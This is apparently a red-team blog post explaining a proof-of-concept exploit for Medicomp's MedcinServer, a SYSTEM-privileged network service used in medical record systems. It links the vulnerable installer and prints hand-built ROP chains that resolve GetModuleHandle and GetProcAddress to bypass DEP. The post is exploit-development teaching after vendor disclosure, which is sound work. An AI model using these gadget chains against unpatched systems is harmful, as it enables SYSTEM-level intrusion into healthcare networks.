The goal of the presentation was to step through the process for identifying possible software targets to further investigate for software vulnerabilities, and then exploit them to aid in privilege escalation or network propagation during red team assessments. Since the focus wasn’t on exploit development, I wanted to explain a little bit about the POC used in the demo portion of the presentation.

A copy of the vulnerable software can be found at the following URL: http://media.pearsoncmg.com/…/MedcinServer.msi (updated)

To give a little background about the software in the case study, it is developed by Medicomp Systems, and appears to be used in several major Electronic Medical Records systems as a standardized interpreter of medical terminology. The appealing thing about this software from a red teaming perspective, is it listens for remote connections and runs with SYSTEM privilege.

I want to make it a point to say that when Medicomp Systems was contacted about the vulnerability mentioned in this presentation and subsequent vulnerabilities, they were quick to respond and quickly fixed all reported vulnerabilities in a timely manner.

Picking up where I left off in the presentation, in order to bypass DEP on target systems that may have it enabled at the operating system level, I need to use ROP gadgets to call a function that can make the stack executable. Of the possible ways to do this, I decided to use VirtualProtect. We can create a ROP chain that will perform this function for us using Corelan’s mona python script. The Corelan team has an excellent writeup on how to use mona as well as many other invaluable tutorials on basic exploit development on their website.

Unfortunately, the ROP chain created for us with mona, does not have the address for VirtualProtect because it is not used in the application. This means it has to be resolved using the GetModuleHandle and GetProcAddress functions. The ROP chains to call these functions will need to be created manually using the ROP gadgets that were dumped from the binary using the “!mona rop” command inside of Immunity Debugger.

The call to GetModuleHandle is pretty straight forward as its only parameter is a string identifying the module to retrieve a handle for. We will follow the same template as mona’s rop chain and populate each register with the appropriate value before pushing them all on to the stack using PUSHAD and executing the desired function call.

#Get stack address for module name data += str(0x0042dfa1) + "," # POP EDI # RETN data += str(0x00471BF0) + "," # Static Address of "Kernel32" string #Get GetModuleHandle function ptr from IAT data += str(0x0042b2ae) + "," # POP EAX # RETN data += str(0x0047104C) + "," # 0x76923475 - Kernel32.GetModuleHandleA data += str(0x00429141) + "," # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN data += str(0x41414141) + "," data += str(0x00419ec2) + "," # XCHG EAX,EDX # ADD AL,BYTE PTR DS:[EAX] # ADD ESP,0C # RETN data += str(0x41414141) + "," data += str(0x41414141) + "," data += str(0x41414141) + "," #Setup remaining args for GetModuleHandle data += str(0x00434880) + "," # MOV EAX,EDI # POP EDI # POP ESI # RETN data += str(0x004202df) + "," # RETN data += str(0x0041d1ab) + "," # ADD ESP,0C # RETN data += str(0x0046f602) + "," # POP ECX # RETN data += str(0x004202df) + "," # RETN data += str(0x00407b6d) + "," # PUSHAD # ADD EAX,EBX # MOV AX,361 # RETN

Setting up the ROP chain for GetProcAddress is a little trickier. The first parameter is the handle to Kernel32 that we resolved in the previous function call. For the second parameter, however, we need a pointer to a place in memory that holds the “VirtualProtect” string. Initially, we attempted to place the “VirtualProtect” string at the beginning of the input buffer but found part of the string was getting clobbered by the stack frame when we called GetModuleHandle. To solve this problem we placed the “VirtualProtect” string at the end of the input buffer and calculated the relative difference from the string and a stack address inside the GetProcAddress ROP chain.

#Save kernel32.dll base addr in ecx data += str(0x0046f602) + "," # POP ECX # RETN data += str(0x00000001) + "," # RETN data += str(0x0043344b) + "," # XCHG EAX,ECX # ADD EAX,DWORD PTR FS:[EAX] # ADD ESP,8 # RETN data += str(0x41414141) + "," data += str(0x41414141) + "," #Put readable location in eax and return in edx data += str(0x0042b2ae) + "," # POP EAX # RETN data += str(0x00480490) + "," # data += str(0x004309f7) + "," # POP EDX # ADD EAX,DWORD PTR DS:[EAX] # ADD ESP,4 # RETN data += str(0x004202df) + "," data += str(0x41414141) + "," #Get GetProcAddress function ptr from IAT data += str(0x0042b2ae) + "," # POP EAX # RETN data += str(0x004710AC) + "," # 0x76923475 - Kernel32.GetProcAddress data += str(0x00429141) + "," # MOV EAX,DWORD PTR DS:[EAX] # POP ESI # RETN #offset to be replaced data += str(0xdeadbeef) + "," data += str(0x0040c804) + "," # POP EBX # RETN data += str(0xffffffff) + "," data += str(0x00405d9c) + "," # INC EBX # RETN data += str(0x0042e10d) + "," # ADD EBX,EAX # AND EAX,2 # RETN #Get a stack address data += str(0x00446dd7) + "," # XCHG EAX,EBP # RETN data += str(0x0040270a) + "," # SUB ESI,EAX # MOV EAX,ESI # POP ESI # RETN data += str(0x00000001) + "," # ADD ESP,8 # RETN data += str(0x0040270a) + "," # SUB ESI,EAX # MOV EAX,ESI # POP ESI # RETN data += str(0x0046d84c) + "," # ADD ESP,8 # RETN #Setup remaining args for GetProcAddress data += str(0x0042dfa1) + "," # POP EDI # RETN data += str(0x004202df) + "," # RETN data += str(0x00407b6d) + "," # PUSHAD # ADD EAX,EBX # MOV AX,361 # RETN&amp;amp;nbsp;